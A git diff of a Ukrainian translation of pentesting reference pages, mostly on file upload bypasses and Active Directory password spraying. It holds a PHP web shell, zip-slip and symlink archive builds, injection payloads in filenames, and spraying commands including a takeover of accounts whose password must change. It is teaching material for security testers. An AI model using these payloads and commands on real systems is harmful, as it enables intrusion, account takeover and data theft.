Максимальна довжина **filename** в **linux****255**, проте **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, ця назва файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **valid** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -157,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Зауважте, що **ще одна опція**, про яку ви, можливо, думаєте, щоб обійти цю перевірку — змусити **HTTP server перенаправляти на інший файл**, тож початковий URL пройде перевірку, але wget завантажить перенаправлений файл з новим іменем. Це **не спрацює**, **якщо не** використовувати wget з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з іменем файлу, вказаним в оригінальному URL**.
Зверніть увагу, що **інший варіант**, про який ви можете подумати для обходу цієї перевірки, — змусити **HTTP server redirect to a different file**, тож початковий URL пройде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не спрацює**, **якщо wget не використовується** з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з іменем файлу, вказаним в оригінальному URL**.
## Інструменти
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, створений, щоб допомогти Pentesters і Bug Hunters тестувати механізми завантаження файлів. Він використовує різні bug bounty техніки, щоб спростити процес виявлення й експлуатації вразливостей, забезпечуючи ретельну оцінку веб-застосунків.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, створений для допомоги Pentesters та Bug Hunters у тестуванні file upload mechanisms. Він використовує різні bug bounty techniques для спрощення процесу виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications.
### Corrupting upload indices with snprintf quirks (historical)
Деякі застарілі upload handlers, які використовують `snprintf()` або подібні функції для побудови multi-file масивів з однофайлового завантаження, можна обдурити, щоб сфальсифікувати структуру `_FILES`. Через непослідовності та усікання в поведінці `snprintf()`, ретельно сформоване одноразове завантаження може виглядати як кілька індексованих файлів на сервері, плутаючи логіку, що очікує певну форму (наприклад, трактуючи як multi-file upload і виконуючи небезпечні гілки). Хоча сьогодні це рідкість, патерн «index corruption» іноді з'являється в CTF і старих кодових базах.
Деякі legacy upload handlers, які використовують `snprintf()` або подібне для побудови multi-file arrays з single-file upload, можуть бути обдурені для фальсифікації структури `_FILES`. Через невідповідності та усічення в поведінці `snprintf()`, ретельно сформований single upload може виглядати як кілька indexed files на боці сервера, що плутає логіку, яка очікує суворої форми (наприклад, трактуючи це як multi-file upload і виконуючи небезпечні гілки). Хоча сьогодні це нішеве явище, цей “index corruption” pattern іноді з'являється в CTFs та старих codebases.
## Від завантаження файлів до інших вразливостей
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- Встановіть **filename** на `../../../tmp/lol.png` і спробуйте здійснити **path traversal**
- Встановіть **filename** на `sleep(10)-- -.jpg` і ви можете добитися **SQL injection**
- Встановіть **filename** на `<svg onload=alert(document.domain)>` щоб досягти **XSS**
- Встановіть **filename** на `; sleep 10;` щоб протестувати command injection (більше [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Спробуйте **різні svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- Якщо ви можете вказати web server, щоб захопити image з URL, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **image** буде **saved** на якомусь **public** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію кожного відвідувача**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Перевірте, чи існує будь-яке **size limit** при завантаженні файлів
- Спеціально створені PDFs для XSS: на наступній сторінці показано, як **inject PDF data to obtain JS execution** (../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете upload PDFs, ви можете підготувати PDF, який виконуватиме довільний JS згідно з наведеними інструкціями.
- Завантажте вміст \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) щоб перевірити, чи сервер використовує будь-який **antivirus**
- Перевірте, чи існує будь-яке **size limit** при uploading files
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Ось топ-10 речей, які можна досягти шляхом upload (з [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -205,39 +204,39 @@ Heres a top 10 list of things that you can achieve by uploading (from [here](
https://github.com/portswigger/upload-scanner
{{#endref}}
## Магічні байти заголовка
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar файл, що автоматично розпаковується при завантаженні
## Zip/Tar File Automatically decompressed Upload
Якщо ви можете завантажити ZIP, який буде розпаковано всередині сервера, ви можете зробити 2 речі:
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
### Symlink
Завантажте архів, що містить символічні посилання на інші файли; при доступі до розпакованих файлів ви отримаєте доступ до пов'язаних файлів:
Завантажте архів, що містить soft links на інші файли, тоді, отримавши доступ до розпакованих файлів, ви отримаєте доступ до linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Розпакування в різні папки
### Розпаковувати в різні папки
Неочікуване створення файлів у директоріях під час розпаковування є серйозною проблемою. Незважаючи на початкові припущення, що така конфігурація може захищати від виконання команд на рівні ОС через завантаження шкідливих файлів, підтримка ієрархічного стиснення та можливості directory traversal формату ZIP можуть бути експлуатовані. Це дозволяє атакуючим обходити обмеження та виходити за межі захищених директорій завантаження, маніпулюючи функцією розпаковування цільового додатка.
Несподіване створення файлів у директоріях під час розпаковування є серйозною проблемою. Попри початкові припущення, що така конфігурація могла б запобігти OS-level виконанню команд через malicious file uploads, підтримка ієрархічного стиснення та можливості directory traversal формату ZIP можуть бути використані. Це дозволяє атакувальникам обходити обмеження та escape secure upload directories шляхом маніпулювання decompression функціональністю цільового додатка.
Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
Автоматизований експлойт для створення таких файлів доступний за адресою [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утилітою можна скористатися, як показано:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Крім того, доступний варіант — **symlink trick with evilarc**. Якщо метою є доступ до файлу, наприклад `/flag.txt`, потрібно створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
Також доступна опція — **symlink trick with evilarc**. Якщо метою є націлитися на файл, наприклад `/flag.txt`, слід створити символічне посилання на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад Python-коду, який використовується для створення зловмисного zip-файлу:
Нижче наведено приклад Python-коду, який використовується для створення шкідливого zip-файлу:
```python
#!/usr/bin/python
import zipfile
@ -255,11 +254,11 @@ zip.close()
create_zip()
```
**Зловживання компресією для file spraying**
**Зловживання стисненням для file spraying**
Для детальнішої інформації **перегляньте оригінальний пост на**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Для більш детальної інформації **перегляньте оригінальний пост на**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP-код пишеться для виконання команд, переданих через змінну `$_REQUEST`.
1. **Створення PHP Shell**: PHP-код пишеться для виконання команд, переданих через змінну `$_REQUEST`.
```php
<?php
@ -269,14 +268,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Створюються кілька файлів та пакується zip-архів, що містить ці файли.
2. **File Spraying та створення zip-архіву**: Створюється кілька файлів і формується zip-архів, що містить ці файли.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Імена файлів всередині zip змінюються за допомогою vi або Hex Editor, замінюючи "xxA" на "../" для обходу директорій.
3. **Зміни за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor, замінюючи "xxA" на "../" для переходу між директоріями.
```bash
:set modifiable
@ -295,29 +294,29 @@ pop graphic-context
```
## Вбудовування PHP Shell у PNG
Вбудовування PHP Shell у IDAT chunk PNG-файлу може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP Shell залишатися неушкодженим під час цих операцій є значною перевагою для певних сценаріїв використання.
Вбудовування PHP Shell у chunk IDAT файлу PNG може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP Shell залишатися неушкодженим після цих операцій є значною перевагою для певних сценаріїв використання.
Детальний розгляд цієї техніки, включно з методологією та можливими застосуваннями, представлений у наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків.
Детальний розгляд цієї техніки, включно з методологією та потенційними застосуваннями, наведено в статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків.
Детальніше: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Поліглот-файли слугують унікальним інструментом у кібербезпеці, виступаючи хамелеонами, які можуть одночасно коректно існувати у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який одночасно функціонує як GIF і RAR-архів. Такі файли не обмежуються цією комбінацією; можливі також поєднання типу GIF і JS або PPT і JS.
Polyglot файли слугують унікальним інструментом у кібербезпеці, виступаючи як камелеони, що можуть одночасно коректно існувати у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який працює одночасно як GIF та RAR архів. Такі файли не обмежуються цим поєднанням; можливі й комбінації на кшталт GIF та JS або PPT та JS.
Основна користь поліглот-файлів полягає в їх здатності обійти заходи безпеки, що фільтрують файли за типом. Звична практика в багатьох додатках — дозволяти до завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик від потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак поліглот, відповідаючи структурним вимогам кількох форматів файлів, може непомітно обминати ці обмеження.
Головна користь polyglot файлів полягає в їхній здатності обходити заходи безпеки, що фільтрують файли за типом. Звичайна практика в багатьох застосунках — дозволяти лише певні типи файлів для завантаження, наприклад JPEG, GIF або DOC, щоб знизити ризик завантаження потенційно небезпечних форматів (наприклад JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів, може непомітно обійти ці обмеження.
Незважаючи на гнучкість, поліглоти мають обмеження. Наприклад, хоча поліглот може одночасно бути PHAR (PHp ARchive) та JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо перевіряє допустимі розширення, сама по собі структурна подвійність поліглота може бути недостатньою для гарантії завантаження.
Незважаючи на адаптивність, polyglot файли мають обмеження. Наприклад, хоча polyglot може одночасно бути PHAR і JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, сама по собі структурна подвійність polyglot може не забезпечити успішне завантаження.
Детальніше: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
Як уникнути визначення типу файлу, завантажуючи валідний JSON-файл, навіть якщо це не дозволено, прикидаючись PDF-файлом (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Як уникнути виявлення типу файлу, завантаживши валідний JSON файл навіть якщо це не дозволено, підробивши PDF файл (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Поки `%PDF` magic bytes знаходяться в перших 1024 байтах, воно вважається валідним (див. приклад у пості)
- **`pdflib` library**: Додайте фейковий PDF-вміст всередину поля JSON, щоб бібліотека вважала його PDF (див. приклад у пості)
- **`file` binary**: Воно може читати до 1048576 байт з файлу. Просто створіть JSON більший за це, щоб програма не могла розпарсити вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і воно вважатиме файл PDF
- **`mmmagic` library**: Поки магічні байти `%PDF` присутні в перших 1024 байтах — файл вважається дійсним PDF (див. приклад у пості)
- **`pdflib` library**: Додайте фейковий PDF формат всередину поля JSON, щоб бібліотека вирішила, що це PDF (див. приклад у пості)
- **`file` binary**: Воно може читати до 1048576 байтів з файлу. Просто створіть JSON більший за цей розмір, щоб воно не могло розпарсити вміст як json, а потім всередині JSON помістіть початкову частину реального PDF — і воно вважатиме його PDF
## References

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Перегляньте чудову статтю:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Перегляньте чудову статтю за адресою:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Після того, як ви знайшли кілька **valid usernames** ви можете спробувати найбільш поширені **common passwords** (keep in mind the password policy of the environment)\ з кожним із виявлених користувачів.\
By **default** the **minimum** **password** **length** is **7**.
Після того, як ви знайшли кілька **valid usernames**, ви можете спробувати найпоширеніші **common passwords** (беріть до уваги **password policy** середовища).\
За замовчуванням мінімальна довжина **password** **7**.
Списки **common usernames** також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Списки поширених **usernames** також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (by default more than 10).
Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (за замовчуванням більше 10).
### Get password policy
Якщо у вас є якісь user credentials або shell як domain user ви можете **get the password policy with**:
Якщо у вас є якісь **user credentials** або shell як **domain user**, ви можете **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Експлуатація з Linux (або будь-якої ОС)
### Експлуатація з Linux (або з будь-якої ОС)
- Використовуючи **crackmapexec:**
```bash
@ -51,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Використання [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - НЕ РЕКОМЕНДУЄТЬСЯ, ІНОДІ НЕ ПРАЦЮЄ
- Використання [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - НЕ РЕКОМЕНДУЄТЬСЯ ІНОДІ НЕ ПРАЦЮЄ
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
![](<../../images/image (745).png>)
- За допомогою **rpcclient**:
- Використовуючи **rpcclient**:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
@ -69,7 +69,7 @@ done
```
#### З Windows
- За допомогою [Rubeus](https://github.com/Zer1t0/Rubeus) версії з модулем brute:
- З версією [Rubeus](https://github.com/Zer1t0/Rubeus) з модулем brute:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (За замовчуванням він може генерувати користувачів з домену і отримує політику паролів з домену та обмежує спроби відповідно до неї):
- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (може за замовчуванням генерувати користувачів із домену, отримувати політику паролів із домену та обмежувати кількість спроб відповідно до неї):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### Виявлення та захоплення "Password must change at next logon" Accounts (SAMR)
### Виявлення та захоплення облікових записів "Password must change at next logon" (SAMR)
Низькошумна техніка полягає в тому, щоб spray a benign/empty password і відловити облікові записи, які повертають STATUS_PASSWORD_MUST_CHANGE — це вказує, що пароль був примусово прострочений і його можна змінити без знання попереднього.
Низькошумний метод — spray a benign/empty password і виявляти облікові записи, які повертають STATUS_PASSWORD_MUST_CHANGE, що вказує, що password було примусово прострочено і його можна змінити без знання старого.
Workflow:
- Перерахувати користувачів (RID brute via SAMR) для формування списку цілей:
Порядок:
- Перелічити користувачів (RID brute via SAMR) щоб скласти список цілей:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +99,12 @@ Workflow:
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Виконайте password spraying з пустим password і продовжуйте після hits, щоб захопити облікові записи, які мають змінити password при наступному logon:
- Spray порожній пароль і продовжуйте при hits, щоб захопити облікові записи, які повинні змінити пароль при наступному logon:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Для кожного збігу змінюйте пароль через SAMR за допомогою модуля NetExec (старий пароль не потрібен, коли встановлено "must change"):
- Для кожного hit, змініть пароль через SAMR за допомогою NetExecs module (старий пароль не потрібен, коли встановлено "must change"):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -113,27 +113,27 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Операційні нотатки:
- Переконайтеся, що годинник вашого хоста синхронізований з DC перед операціями на основі Kerberos: `sudo ntpdate <dc_fqdn>`.
- Знак [+] без (Pwn3d!) у деяких модулях (наприклад, RDP/WinRM) означає, що creds дійсні, але обліковий запис не має прав на інтерактивний вхід.
Оперативні нотатки:
- Переконайтеся, що годинник вашого хоста синхронізовано з DC перед Kerberos-based операціями: `sudo ntpdate <dc_fqdn>`.
- Позначка [+] без (Pwn3d!) у деяких модулях (наприклад, RDP/WinRM) означає, що creds дійсні, але обліковий запис не має interactive logon rights.
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
### Kerberos pre-auth spraying з LDAP targeting та PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying зменшує шум порівняно з SMB/NTLM/LDAP bind attempts і краще відповідає політикам блокування AD. SpearSpray поєднує LDAP-driven targeting, pattern engine та обізнаність про політики (domain policy + PSOs + буфер badPwdCount) для точного й безпечного спреїнгу. Він також може позначати скомпрометовані principals у Neo4j для побудови шляхів у BloodHound.
Kerberos pre-authbased spraying зменшує шум у порівнянні з SMB/NTLM/LDAP bind attempts і краще узгоджується з AD lockout policies. SpearSpray поєднує LDAP-driven targeting, pattern engine і policy awareness (domain policy + PSOs + badPwdCount buffer), щоб здійснювати spray точно і безпечно. Він також може тегувати скомпрометовані principals у Neo4j для BloodHound pathing.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Політика блокування домену + PSO-aware фільтрація, щоб залишити налаштовуваний буфер спроб (threshold) і уникнути блокування користувачів.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
- Керування пропускною здатністю за допомогою threads, jitter та max requests per second.
- Опційна інтеграція з Neo4j для маркування скомпрометованих користувачів для BloodHound.
Ключові ідеї:
- LDAP user discovery з пагінацією та підтримкою LDAPS, опційно використовуючи custom LDAP filters.
- Domain lockout policy + PSO-aware filtering, щоб залишити налаштовуваний буфер спроб (threshold) і уникнути блокування користувачів.
- Kerberos pre-auth validation із використанням швидких gssapi bindings (генерує 4768/4771 на DCs замість 4625).
- Pattern-based, per-user password generation з використанням змінних, таких як імена та часові значення, похідні від кожного користувача's pwdLastSet.
- Контроль пропускної здатності за допомогою threads, jitter і max requests per second.
- Опційна інтеграція з Neo4j для маркування owned users для BloodHound.
Basic usage and discovery:
Базове використання та виявлення:
```bash
# List available pattern variables
spearspray -l
@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Цілеспрямованість і контроль шаблонів:
Вибір цілей та контроль шаблонів:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -174,29 +174,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
{samaccountname}
{extra}{separator}{year}{suffix}
```
Available variables include:
Доступні змінні включають:
- {name}, {samaccountname}
- Часові значення з кожного користувача pwdLastSet (або whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Допоміжні елементи складання і org token: {separator}, {suffix}, {extra}
- Тимчасові значення з pwdLastSet кожного користувача (або whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Допоміжні елементи для складання та токен організації: {separator}, {suffix}, {extra}
Operational notes:
- Надавайте перевагу запитам до PDC-emulator з -dc, щоб читати найбільш авторитетні badPwdCount та інформацію, пов’язану з політикою.
- Скидання badPwdCount відбувається при наступній спробі після вікна спостереження; використовуйте поріг і таймінг, щоб залишатися в безпеці.
- Спроби Kerberos pre-auth відображаються як 4768/4771 у телеметрії DC; використовуйте jitter і rate-limiting, щоб злитися з фоновим трафіком.
Операційні нотатки:
- Надавайте перевагу запитам до PDC-emulator з -dc, щоб читати найавторитетніший badPwdCount та інформацію, пов’язану з політикою.
- Скидання badPwdCount тригеряться при наступній спробі після вікна спостереження; використовуйтесь порогові значення і таймінг, щоб залишатися в безпеці.
- Спроби Kerberos pre-auth відображаються як 4768/4771 у DC telemetry; використовуйте jitter і rate-limiting, щоб злитися з фоном.
> Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
> Порада: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
Існує кілька інструментів для password spraying outlook.
Є кілька інструментів для p**assword spraying outlook**.
- З [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- З [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- З [Ruler](https://github.com/sensepost/ruler) (надійний!)
- З [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- З [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
- За допомогою [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- за допомогою [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- За допомогою [Ruler](https://github.com/sensepost/ruler) (надійний!)
- За допомогою [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- За допомогою [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Щоб використовувати будь-який із цих інструментів, вам потрібен список користувачів та пароль або невеликий список паролів для виконання password spraying.
Щоб використовувати будь-який із цих інструментів, потрібні список користувачів і пароль або невеликий список паролів для password spraying.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020

View File

@ -6,21 +6,21 @@
## Silver ticket
Атака **Silver Ticket** передбачає експлуатацію service tickets в середовищах Active Directory (AD). Цей метод базується на **acquiring the NTLM hash of a service account**, наприклад computer account, для підробки Ticket Granting Service (TGS) ticket. З таким підробленим квитком атакуючий може отримати доступ до конкретних сервісів у мережі, **impersonating any user**, зазвичай прагнучи отримати адміністративні привілеї. Підкреслюється, що використання AES keys для підробки квитків є більш безпечним і менш помітним.
Атака **Silver Ticket** полягає в експлуатації service tickets у середовищах Active Directory (AD). Цей метод базується на **acquiring the NTLM hash of a service account**, наприклад a computer account, для підробки Ticket Granting Service (TGS) ticket. За допомогою такого підробленого ticket зловмисник може отримати доступ до певних сервісів у мережі, **impersonating any user**, зазвичай прагнучи до адміністративних привілеїв. Наголошується, що використання AES keys для підробки tickets є більш безпечним і менш виявним.
> [!WARNING]
> Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони потребують лише **hash of the service account**, а не krbtgt account. Однак вони обмежені конкретним сервісом, на який спрямовані. Крім того, достатньо просто вкрасти пароль користувача.
> Якщо ви скомпрометували **account's password with a SPN**, ви можете використати цей пароль для створення Silver Ticket, що impersonating any user до цього сервісу.
> Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони потребують лише **hash of the service account**, а не krbtgt account. Однак вони обмежені конкретним сервісом, на який спрямовані. Також достатньо просто вкрасти пароль користувача.
> Якщо ви скомпрометували **account's password with a SPN**, ви можете використати цей пароль, щоб створити Silver Ticket, який імперсонуватиме будь-якого користувача для цього сервісу.
Для створення квитків (ticket crafting) використовуються різні інструменти залежно від операційної системи:
For ticket crafting, different tools are employed based on the operating system:
### On Linux
### На Linux
```bash
